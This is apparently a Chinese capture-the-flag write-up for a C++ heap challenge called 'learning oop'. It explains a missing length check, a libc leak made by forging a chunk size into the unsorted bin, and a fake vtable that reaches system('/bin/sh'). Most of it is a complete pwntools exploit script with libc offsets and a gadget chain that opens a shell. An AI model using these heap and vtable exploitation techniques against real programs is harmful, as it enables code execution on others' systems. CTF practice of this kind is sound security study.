misc

Sanity Check 签到题

pwn

learning oop

上来就是c++pwn
漏洞在读取名字时没有长度检查

当时做的时候卡在泄露libc 我本来是思路是打算构造重叠,通过在一个区域同时分配两个chunk实现泄露
结果update里面有个检查函数,会使用到虚表,导致程序崩溃。并且我的方法没法通过程序逻辑跳过检查,直接流程就卡死了。

参考了网上的wp后,发现应该是通过覆盖size,使得一个chunk强制进入unsorted bin,并且这个chunk篡改后的大小能覆盖到后面的一个fastbin chunk
这样通过unsortedbin切割后 剩下的块仍然进入unsorted bin 的性质 就能泄露bk指针,同时 通过饿死立即free 就不会调用到虚表,update检查就不会使得程序崩溃。

有了libc地址理论上这题就不会很难了。伪造vtable ,覆盖指针 。

最开始我的想法是利用vtable内函数调用时,第一个参数默认是this指针,但是如果/bin/sh写入了 vtable又没法用了,只能用一些能利用到其他寄存器的gadget 而rax 这时候和rdi的值一样的
如果能把rax 附近的值传入rdi 也可以实现system(‘/bin/sh’)
另外 在调用system时由于栈没对齐 需要多push一个

from pwn import *
p=process('./learning_oop')

def create(animal,name):
p.sendlineafter(b'>',b'1')
p.sendlineafter(b'Choose pet species (1=Dog, 2=Cat, 3=Parrot, 4=Horse):',str(animal).encode())
p.sendlineafter(b'Enter name:',name)

def play(animal):
p.sendlineafter(b'>',b'2')
p.sendlineafter(b'which pet?',str(animal).encode('l1'))

def feed(animal):
p.sendlineafter(b'>',b'3')
p.sendlineafter(b'which pet?',str(animal).encode('l1'))

def rest(animal):
p.sendlineafter(b'>',b'4')
p.sendlineafter(b'which pet?',str(animal).encode('l1'))

create(1,b'a'*0x100 + p32(0x6) + p32(0x6)) #用于构造大chunk,free后进入unsortedbin ,数据部分第二个int 是fullness,可以主动控制被free的时机
create(1,b'a'*0x100 + p32(5) + p32(5)) #由于最大年龄都较大 基本上不用考虑控制初始年龄

create(1,b'a'*0x100 + p32(7) + p32(7))
create(1,b'a'*0x100 + p32(6) + p32(6))
create(1,b'a'*0x100 + p32(5) + p32(5))
create(1,b'a'*0x100 + p32(4) + p32(4)) # 此时0和1均free

create(1,b'a'*0x100 + p32(2)+p32(2))
create(1,b'd'*0x100 + p32(0x10) + p32(0x10) + b'a'*0x8 + p64(0x481)) #一个的大小是0x120 这里取四倍 正好就是0x480 同时保证进入unsortedbin

create(2,b'a'*0x30) #这时前面的四个都free 显示出libc
p.recvline()
p.recvline()
libc= u64(p.recv(6).ljust(8,b'\x00'))
libc_base = libc - ( 0x7e2a95203b20-0x7e2a95000000)
print(hex(libc_base))
# ❯ strings -t x libc.so.6 | grep '/bin/sh'
#1cb42f /bin/sh
#0000000000058750 system
system = libc_base+0x0582d2
binsh = libc_base + 0x1cb42f
print(hex(system))
#create(1,b'/bin/sh\x00'+ p64(0)*2+ p64(system)+b'a'*(0x100-32)+p32(0)+p32(15)+p64(3)+p64(0x121)+p64(heap_addr-0x120+8))
#这里无法直接通过system 参数调用本chunk的/bin/sh 因为指针指向的就是vtable ptr 只能找gadget 用更复杂的方法
mov_rdi = libc_base + 0x09ca97
create(1,p64(mov_rdi)*4+b'w'*0x80+p32(5)+p32(5)+p64(3)+ b'm'*0x580+p64(system)+p64(binsh))
vtable = int(p.recvlines(2)[1].split(b': ')[1].strip(),16)+0x8
create(1,p64(mov_rdi)*8)
create(1,b'y'*0x100+p32(5)*2+p64(3)+p64(0x121)+p64(vtable))
p.interactive()